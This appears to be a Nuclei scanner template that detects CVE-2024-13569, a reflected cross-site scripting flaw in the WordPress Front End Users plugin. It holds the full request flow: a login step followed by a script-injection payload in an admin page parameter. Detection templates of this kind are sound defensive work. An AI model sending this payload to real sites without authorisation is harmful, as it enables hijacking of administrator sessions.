WordPress Front End Users - Reflected XSS

id: CVE-2024-13569

info:
  name: WordPress Front End Users - Reflected XSS
  author: Sourabh-Sahu
  severity: high
  description: |
    WordPress Front End Users plugin <= 3.2.32 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious link or request.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed or apply security patches that sanitize and escape output properly.
  reference:
    - https://wpscan.com/vulnerability/b9742440-0e36-4900-b58e-41c9854a62b2/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-13569
    cwe-id: CWE-79
    epss-score: 0.00485
    epss-percentile: 0.38319
    cpe: cpe:2.3:a:etoilewebdesign:front_end_users:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: etoilewebdesign
    product: front_end_users
  tags: cve,cve2024,etoilewebdesign,front-end-users,authenticated,wordpress,wp,wp-plugin,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=EWD-FEUP-options&DisplayPage=Fields&OrderBy=Field_Description&Order=DESC&Page=testxss"><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "><script>alert(document.domain)</script>","front-end-only-users")
        condition: and
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